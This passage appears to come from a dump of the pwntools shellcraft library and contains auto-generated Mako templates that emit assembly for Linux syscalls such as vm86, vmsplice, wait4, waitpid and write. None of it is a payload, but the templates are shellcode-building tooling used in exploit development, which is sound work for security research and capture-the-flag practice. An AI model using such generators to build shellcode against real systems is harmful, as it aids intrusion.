allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vhangup']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vhangup'])\n%>\n    /* vhangup(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vm86.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vm86(fn, v86) -> str\n\nInvokes the syscall vm86.\n\nSee 'man 2 vm86' for more information.\n\nArguments:\n    fn(unsigned): fn\n    v86(vm86plus_struct*): v86\nReturns:\n    int\n</%docstring>\n<%page args=\"fn=0, v86=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fn', 'v86']\n    argument_values = [fn, v86]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vm86']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vm86'])\n%>\n    /* vm86(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vm86old.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vm86old(info) -> str\n\nInvokes the syscall vm86old.\n\nSee 'man 2 vm86old' for more information.\n\nArguments:\n    info(vm86_struct*): info\nReturns:\n    int\n</%docstring>\n<%page args=\"info=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['info']\n    argument_values = [info]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vm86old']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vm86old'])\n%>\n    /* vm86old(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vmsplice.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vmsplice(fdout, iov, count, flags) -> str\n\nInvokes the syscall vmsplice.\n\nSee 'man 2 vmsplice' for more information.\n\nArguments:\n    fdout(int): fdout\n    iov(iovec*): iov\n    count(size_t): count\n    flags(unsigned): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fdout=0, iov=0, count=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fdout', 'iov', 'count', 'flags']\n    argument_values = [fdout, iov, count, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vmsplice']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vmsplice'])\n%>\n    /* vmsplice(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/vserver.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>vserver(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall vserver.\n\nSee 'man 2 vserver' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_vserver']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_vserver'])\n%>\n    /* vserver(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/wait4.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>wait4(pid, stat_loc, options, usage) -> str\n\nInvokes the syscall wait4.\n\nSee 'man 2 wait4' for more information.\n\nArguments:\n    pid(pid_t): pid\n    stat_loc(WAIT_STATUS): stat_loc\n    options(int): options\n    usage(rusage*): usage\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"pid=0, stat_loc=0, options=0, usage=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'stat_loc', 'options', 'usage']\n    argument_values = [pid, stat_loc, options, usage]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_wait4']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_wait4'])\n%>\n    /* wait4(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/waitid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>waitid(idtype, id, infop, options) -> str\n\nInvokes the syscall waitid.\n\nSee 'man 2 waitid' for more information.\n\nArguments:\n    idtype(idtype_t): idtype\n    id(id_t): id\n    infop(siginfo_t*): infop\n    options(int): options\nReturns:\n    int\n</%docstring>\n<%page args=\"idtype=0, id=0, infop=0, options=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['idtype', 'id', 'infop', 'options']\n    argument_values = [idtype, id, infop, options]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_waitid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_waitid'])\n%>\n    /* waitid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/waitpid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>waitpid(pid, stat_loc, options) -> str\n\nInvokes the syscall waitpid.\n\nSee 'man 2 waitpid' for more information.\n\nArguments:\n    pid(pid_t): pid\n    stat_loc(int*): stat_loc\n    options(int): options\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"pid=0, stat_loc=0, options=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'stat_loc', 'options']\n    argument_values = [pid, stat_loc, options]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_waitpid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_waitpid'])\n%>\n    /* waitpid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/write.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>write(fd, buf, n) -> str\n\nInvokes the syscall write.\n\nSee 'man 2 write' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n']\n    argument_values = [fd, buf, n]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_write']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_write'])\n%>\n    /* write(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/writev.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>writev(fd, iovec, count) -> str\n\nInvokes the syscall writev.\n\nSee 'man 2 writev' for more information.\n\nArguments:\n    fd(int): fd\n    iovec(iovec*): iovec\n    count(int): count\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, iovec=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'iovec', 'count']\n    argument_values = [fd, iovec, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            